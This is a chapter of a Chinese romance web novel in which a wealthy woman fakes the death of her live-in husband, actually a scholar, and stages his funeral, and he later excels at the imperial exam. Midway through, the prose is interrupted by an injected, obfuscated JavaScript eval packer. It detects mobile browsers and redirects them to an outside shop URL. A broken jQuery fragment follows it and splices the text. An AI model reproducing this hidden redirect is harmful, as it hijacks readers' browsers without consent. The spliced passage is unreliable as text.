一场满月宴，只苏雨棠忙前忙后张罗，孩子父亲未曾露面，关系亲近的少不得问两句，远些的不方便问，也会私底下同人打听。
宴席最利于消息传播发酵，温雨棠很清楚，她是有意为之。
如她所料，第二日玉簪便来回禀，说是外头传遍了，苏家赘婿得了急病，已病得起不来床。
朱琳琅本来没太在意，可外头传得沸沸扬扬，她不免受到影响，也怀疑那詹三郎会不会已经病重？
“我带了太医过来，让他替你家三郎瞧瞧吧。”朱琳琅不请自来，面露关切。
她知道好友与赘婿伉俪情深，可以说是生死之交，若詹三郎真出什么事，她简直不敢想。
相交数年，苏雨棠已是她最好的朋友，她自己做了老姑娘，但心里一直盼着苏雨棠幸福下去。
“郡主别担心，三郎并无大碍，只是脾胃虚弱，又因秋老虎中了些暑气，过几日便好了，岂敢劳烦太医？”人都没在她屋里，苏雨棠可不敢把人往里引。
冲太医说了几句客气话，让人塞了银钱算是辛苦费，客客气气将人送走。
倒是拉着朱琳琅进门品茶，苏雨棠面上含笑：“外人不明就里，我最是清楚，郡主别被传言吓着了。来，尝尝我新得的茶，二表哥才从云州寄来的。”
朱琳琅见她有说有笑，不像报喜不报忧的，也就放下心来。
毕竟是好友的赘婿，她虽欣赏其人，但并不相熟，倒也没有特意探望的必要。
“若需要什么珍稀药材，尽管让人去端王府拿。”
终于把人哄走，苏雨棠长长舒了口气。
以为此时就这么过去了，哪知，傍晚时分，镇国公竟也亲自来过问。
看时辰，他应当刚下值不久。
“我听母亲说，詹兄身体不太好，敢问苏小姐，詹兄可是旧疾复发？若需寻医问药，裴某义不容辞。”裴钧台策马而来，气息略重，透出几分担忧与愧疚。
若詹三郎真是旧伤复发，有个什么三长两短，如母亲所说，便是裴家的罪过了。
闻言，苏雨棠只觉一个头两个大。
她就是想找个理由，让赘婿顺顺利利病逝，把沈酌摘出去，怎么好不容易结交上的贵人们，一个个都不让她省心？
先前只想着，欣姐儿她们长大能得贵人们一两分照拂，过得平安顺遂些。
这会子，她却有些无奈。
但心里也明白，郡主和镇国公皆是好意。
“与旧伤无关，国公爷切莫多想。”苏雨棠不得已，将应付朱琳琅的话，又拿出来唬人。
好不容易才把镇国公劝走。
她拿起帕子，擦拭额角细汗，不成，为免夜长梦多，还是得早些安排三郎病故！
接下来的时日，苏雨棠甚少出门，假装在府中照料。
时而叫不同的郎中进府，给老太太诊脉，掩人耳目，她正好借此机会陪欣姐儿玩。
平日里，她少有这样的闲暇。
有时，欣姐儿也会问起爹爹病好了没有，何时能陪她玩。
小姑娘虽已会跑，但话说得还不太流利，才一岁十个多月大，很好糊弄。
“欣姐儿乖乖的，不去吵爹爹，他便能快些养好身体陪你玩啦。”苏雨棠随口哄她。
到第十日上，估摸着时机差不多了，苏雨棠在内室里，发出一声悲戚的痛呼：“三郎！”
苏家赘婿病死了，这个消息，沈酌是从同窗耳中听说的。
有人唏嘘不已，有人提起她当初休夫招赘的旧事。
任凭众人议论纷纷，沈酌神色如常，未置一词。
在国子监里，他对学问以外的事，惯常疏淡，同窗们都习惯了。
沈大娘闻此噩耗，心痛不已，抹着泪，要拉沈酌一道去吊唁。
她以为，儿子念着苏小姐对沈家的恩情，必定会去。
哪知，沈酌竟断然拒绝，整理着包子铺里的用具，头也没抬：“母亲去便好，明日所需食材尚未备好，儿子留在店中料理。”
“你这孩子，怎么分不清轻重缓急呢？！”沈大娘急了，忍不住训斥他一句，再想到他上回去苏家参加满月酒，连句好听些的吉祥话也没说，想到一种可能，不由有些恼了，“阿酌，你该不会是觉得秋闱能取得好成绩，来年定能高中做大官，便不把小小苏家放在眼里了吧？”
儿子态度转变，正是从秋闱结束开始的。
尘封在记忆深处的旧事翻涌上来，沈大娘想起前夫的做派，心里越发笃定。
“阿酌，你可不许跟你父亲学，忘恩负义，非君子所为！”
沈酌自幼早慧懂事，很少让她操心，沈大娘已数年不曾如此严厉地教子。
“忘恩负义？”沈酌手一顿，重复一遍这四个字，唇角牵起淡淡嘲讽，“母亲也知道那人是个忘恩负义的小人么？”
说着，他想到什么，笑意僵滞一瞬。
指骨蜷了蜷，他抬眸，望着神情错愕，眼神悲凉的母亲：“那您为何仍念着他？每每催儿上进，想着的便是让他对我另眼相看，接纳我？母亲，您不恨他吗？若他回头，您会原谅他吗？”
沈大娘被儿子问懵了，呆立当场。
她心里仍想着，能被那人承认、接纳吗？
不，不可能，她恨沈望！
可她嘴唇翕动，说不出一个恨字。
她可以骗儿子，却骗不了自己。
十余年来，独自养育儿子的艰辛，身体的病痛，支撑她活下来的最大信念，其实是想让沈望回头来，看看她的好。
她不是一个无用的，给不了她任何助力的妇人，至少，她能养出一个有出息的儿子。
但她心里知道，这想法很没出息，连儿子都会看她不起。
沈大娘别开脸：“你既不想去，便守着店吧，这包子铺也是棠棠的心血。”
望着母亲逃一般离开的背影，沈酌垂眸盯着自己心口，笑意莫名。
父亲伤母亲至深，母亲都没恨他。
棠棠于他有恩，且又是为他前途考虑，才那般决绝，不近人情，他恨不起来，割舍不下，仍旧念着她，是不是也情有可原？
下葬这日，欣姐儿才意识到爹爹躺在漆黑的推都推不开的重盒子里，再也见不到了，哭得很响亮。
照哥儿还小，本来不懂，但被姐姐的哭声吵得睡不着，也跟着哭。
苏雨棠抱着女儿，温氏抱着照哥儿，好一阵才把孩子们分开哄好。
女儿哭得脑子发懵，不太好哄，苏雨棠不得不拿出杀手锏：“欣姐儿不哭，让爹爹在天之灵安息，过些时日，他可能就会来看欣姐儿了。”
果然，这话立竿见影。
苏雨棠将欣姐儿交给玉簪，活动一下酸胀的手臂。
也好，等过些时日，沈酌要见女儿，她不必另外找借口。
送葬的队伍抬着棺木，穿过街巷，往城外去。
沈酌隐在人群中，望着哭得眼圈微肿的佳人，没来由想起昔日恩爱时她的情态，心尖发烫，却也恨得牙痒痒。
戏倒是做得很足。
看到她身后乌黑发亮的棺木，沈酌嘴角抽搐了一下。
“都说红颜薄命，这詹三郎一个大男人，怎么也这么短命，有儿有女，却享不了福气。”有人摇头感慨。
也有人接话：“要我说，定是苏小姐命太硬，把他给克死了。”
“你这么一说，还真是，苏小姐是有钱，是漂亮，但十足是个红颜祸水，沾上她的男人都没有好下场。她那姓庄的前夫，死得多惨，如今与她感情极好的赘婿也被克死，这赘婿可是克死过自己父母的，命都硬不过苏小姐，这样的女人，往后谁敢要？”
那些人多是在为詹三郎说话，但沈酌听着，心里却很不舒服。
可他如今算是她的什么人？有何资格为她说话？
况且，她会在意么？
她若在意，便不会执意让他“病故”了。
为了将戏演得真切些，苏雨棠哭倒在坟前，等所有宾客们都走了，留下她独自与心爱的赘婿再待一会儿，她才捏起帕子擦擦脸上假模假式的泪痕。
“原来装哭也累人。”苏雨棠拂去衣袖上沾染的尘灰，低声嘀咕。
“我瞧苏小姐哭得情真意切，不能自已，原是装哭么？既然不伤心，又何苦难为自己？”身后传来一道熟悉的嗓音，苏雨棠脊背一僵。
男人靴底踏碎土块，咔嚓声越来越近。
他们之间，已是银货两讫，他不特意避开，还特意跟在做什么？
因她让他“病故”，没事先与他商量，他知道后，觉得不吉利，在恼她？
“三……”下意识突出一个音，苏雨棠很快意识到不妥，她深吸一口气，挤出礼貌的笑意，转身，柔声解释，“沈郎君，我这样安排，都是为了三郎好，并无咒他之意。”
男人在距她半臂之遥站定，细细端凝她容颜。
数日来，他特意没去看她，夜里却饱受相思之苦。
而她呢，这个没心肝的女人，脸颊因假哭而越发嫣红，眸光潋滟生波，瞧着气色极佳。
自你我分别，棠棠可有想过我？
沈酌在心里问出这句，紧攥拳心，才没宣之于口。
不是咒他，但也没念八百日夜的夫妻之情。
沈酌将手负于身后，移开眼，望向土色新鲜的坟茔，他怕自己会忍不住想抱她入怀。
“听说苏小姐与詹三郎情深意浓，怎的詹兄病故，苏小姐在他坟头都能笑出来？”身着顿了顿，“过去的情分，都是假的吗？”
苏雨棠被他噎到。
是真是假，你心里没数吗？
他巴巴跑来，就为来挖苦她两句？想想沈酌昔日的性子，苏雨棠总觉不至于。
男人无理取闹的话，苏雨棠假装听不懂，而是反问：“不知沈郎君特意前来，所为何事？”
仍是不可能骗他，沈酌齿根发痒。
藏在身后的指骨紧了紧，他慢条斯理道：“今日詹兄头七，沈某特来拜别。”
自己拜自己？他高兴就行。
他的话似乎有些阴阳怪气，但他疏离的姿态，让苏雨棠心安。
他愿意将身份剥离，便是最好的。
“多谢沈郎君。”苏雨棠以未亡人的身份，向他施礼道谢。
抬眸时，苏雨棠眼中逐客意味分明。
随时可能有人过来，她不想被人瞧见，徒惹非议。
可沈酌好不容易等来与她单独相处的机会，只觉每一分都珍贵，还不想离开。
山风将她发丝吹起，沈酌下意识抬手。
几乎要触碰到她青丝的瞬间，佳人讶然退后一步。
不远处传来奶声奶气的呼唤：“爹爹！”
是女儿苏欣的声音，很甜，沈酌已好些日子不曾听到。
他侧眸望去。
苏欣看清他容貌，确定是爹爹，当即迈开小短腿飞快朝他跑来。
山路不平，小家伙跑得跌跌撞撞，险些摔倒。
沈酌快步上前，双手将她托住，举起。
“欣姐儿乖。”沈酌嗓音温和许多。
父慈女孝的情景，看得苏雨棠心口怦怦直跳。
她小跑过来，扯扯沈酌衣袖，眼神焦急，带着央求。
“欣姐儿，爹爹今日头七，只能悄悄来看你，若被旁人看到，他就会消失哦。”在沈酌的注视中，苏雨棠脸颊发热，说出哄孩子的谎话。
苏欣眨眨眼，反应一下，努力压低声音：“欣姐儿不吵，我想爹爹了！”
说着，像从前一样，伸手捏沈酌的脸，趴在父亲肩头撒娇。
这样的欢喜，与吃到好吃的，玩到好玩的，都不一样。
苏雨棠瞧着，眼眶没来由发热，泪花浮动。
她自以为什么都安排得极好，独独忘了女儿对父亲的依赖。
或许，当初她该狠心些，不许沈酌陪欣姐儿玩耍。
“时辰不早，爹爹该走了。”苏雨棠从他怀中接过女儿，冲沈酌使了个眼色。
她是如何哄骗女儿的，沈酌已瞧得分明。
经过她身边时，沈酌脚步一顿，俯低身形，薄唇离她耳珠极近。
虽未触碰到，但苏雨棠能感受到他口中呼出的热气。
“不知苏小姐许我多久还魂一次？”他低问。
当然是越少越好，见得少了，等女儿再长大些，自然不记得。
“回头再说。”苏雨棠敷衍。
听到脚步声，她赶忙抱着女儿朝向另一侧，还特意腾出手推了他一把。
来人是温氏，来找欣姐儿的，幸好没发现。
欣姐儿高兴地告诉温氏，她方才见到爹爹了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623377|204012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
温氏诧异，苏雨棠冲她摇摇头，语气伤怀：“欣姐儿太想念三郎，我又何尝不是？阿娘，我昨夜又梦到他了。”
竹林间，沈酌悄然望着她们走远，被她气得失笑。
梦到他？她分明巴不得他别再出现。
苏雨棠担心沈酌想念女儿，随时会来找她。
不知不觉过去一个多月，也没见对方有动作，她才放心。
包子铺生意好，沈大娘又送来银钱，苏雨棠这才想起，她竟忘了将包子铺交给沈大娘。
可她刚提起，便被沈大娘拒绝，还借口铺子里忙，匆匆走了。
苏雨棠哭笑不得。
不过，还是得早些分割清楚，她心里才踏实。
翌日，苏雨棠将账目与契书一同带来。
最先看到正擦拭桌椅的沈酌，她略迟疑，挂上礼貌的笑意上前：“沈郎君，敢问沈大娘可在？”
语气生疏，一如既往。
沈酌望她一眼：“苏小姐稍等。”
替她斟了一盏清茶，他折身往里走。
不多时，沈大娘出来，沈酌应当是接替她在忙什么，没跟出来。
苏雨棠心里松快了些，不用怕沈酌多想了。
“大娘，这三年来，您将铺子打理得极好，我的本钱早已收回，还赚了不少，也是时候依约将铺子交给您了。”苏雨棠把东西推到沈大娘跟前。
沈大娘吓得弹起来，退到椅子后面，不肯接：“棠棠，我若占了这铺子，成什么人了？万万不可。”
“大娘。”苏雨棠不知该如何劝。
忽而，布帘轻动，一身布衣的沈酌走出来：“母亲，便依苏小姐所言吧。”
他走到桌边，扫一眼契书，唇角分明勾起一丝浅笑，不知怎的，却令苏雨棠心里发慌。
眼前的沈酌，太好说话，她以为他会如那晚一般说些什么。
“阿酌，见钱眼开，唯利是图，娘是这般教导你的么？”沈大娘睁大眼睛，不可置信地看着儿子。
哪知，沈酌不为所动，拿起契书，亲手撕毁。
“盛情难却，母亲何必辜负苏小姐一番美意。”沈酌瞥一眼苏雨棠，又转身去忙。
沈酌似乎想通了，那以后，他们便真的断了来往。
只有沈大娘时而来府上坐坐，给孩子们带些苏雨棠在货郎处见过的玩具。
明明该觉得轻松、欢喜，可不知怎的，每逢闲暇，苏雨棠便觉身边少了些什么。
腊月中旬，真正三年期满那日，苏雨棠哪儿也没去，坐在窗前观雪发呆，脑中全是与他相识以来的种种画面。
温氏领着欣姐儿进来，本想趁她不备，悄悄捂住她眼睛捉弄她，可瞧她神情，不由别开脸忍泪，拉着欣姐儿又悄悄出去。
依稀记得，这是当初女婿进府的日子，棠棠眼光好，他们夫妻和顺，从未红过脸，可惜情深不寿，造化弄人。
苏雨棠呼出一大团白气，心里仿佛空出一块，她才后知后觉发现，沈酌在她心里的位置，其实超出了最初的预想。
其实，她也会不舍，只是她不允许自己不舍，潜意识一直压制着。
是时候放下了，苏雨棠起身，将他戴过的狐狸面具、他的情诗抄录而成的诗集、他穿过用过的东西，悉数收进箱笼。
除夕夜，多了两个小人儿陪她放烟花，但直到她入睡，也不见那人出现。
午夜梦回，他在绚烂的烟花下抱住她，温声说想她。
醒来，大床依旧空着一半，她在族中的地位倒高了许多，即便身上带孝，也没人拦着她祭祖，反而有人让她先请。
苏雨棠没谦让，毕竟，她带着族人赚的银钱是实打实的。
过了年，春闱一日近似一日，苏雨棠亲自过问温云川的备考用具，不由想到沈酌。
将包子铺给沈大娘，与沈家两清后，苏雨棠便吩咐过玉簪，不必再同她提起关于沈酌的任何事。
她不知沈酌秋闱成绩如何，但她笃定，春闱他会失利。
“大表哥，你记得多关心沈郎君，告诉他，即便不能高中，还有三年后呢，切莫太过伤怀。”苏雨棠忍不住提了一句。
她再关心沈酌，已不太合适，能做的，也只有这些。
温云川倒没多想，听得哭笑不得:“表妹是不是弄错了，这话该拿来宽慰我吧？沈郎君可是我的授业恩师，若他都考不中进士，你哥我赴考岂不纯属浪费笔墨？！”
从贡院出来，个个形容憔悴，温云川跑过来，搭住沈酌肩膀:“走，去吃顿好的！”
酒楼雅间，二人对坐小酌，温云川笑道:“我料子瞻必中头甲，状元只怕也如探囊取物，提前为子瞻庆贺！”
沈酌胸有成竹，面上却佯装惶恐，谦逊道:“不敢不敢，只盼能高中，不负师长期望。”
说笑间，温云川顺嘴将温雨棠的叮嘱当玩笑话讲出来，乐不可支:“你说说她，当初盛赞你才学出众，让我向你请教的是她，如今她不怕我考不中，反倒不看好你，都是两个孩子的娘了，做事还颠三倒四的。”
说者无心，听者有意。
沈酌心念微动，慢条斯理把玩着酒盏。
棠棠既然向温云川引荐他，必定相信他的才学，此番不像是不看好他，倒像是料定他考不中。
否则，以她的性子，也不会冒着被人察觉她对她过于关心的风险，特意叮嘱温云川。
梦里，他今科缺考才榜上无名，可如今他参考了，她为何还会如此作想？
不，连她榜上无名的事，她都不会知道才对！
沈酌心口突地一跳，指骨捏得泛白。
梦到另一种人生的，会不会不止他一个？
转眼便到金殿传胪这日，三鼎甲跨马游街，苏雨棠捧着香茶瞧热闹。
沈酌会是下一届的探花，到时她多半会避嫌，今日她想瞧瞧今科探花生得多俊，与沈酌相比孰美？
花香浮动，锣鼓喧天，御街热闹非凡。
苏雨棠伸长脖子望去，目光越过前头最风光的状元，落到他斜后方的位置。
金花青袍枣红马，马背上那探花郎真真俊雅脱俗！
三年后，沈酌穿上这身，定也俊得让人移不开眼。
苏雨棠想象着，眼睛一眨不眨。
直到对方瞥来，苏雨棠才猛然醒神。
这不正是沈酌吗？！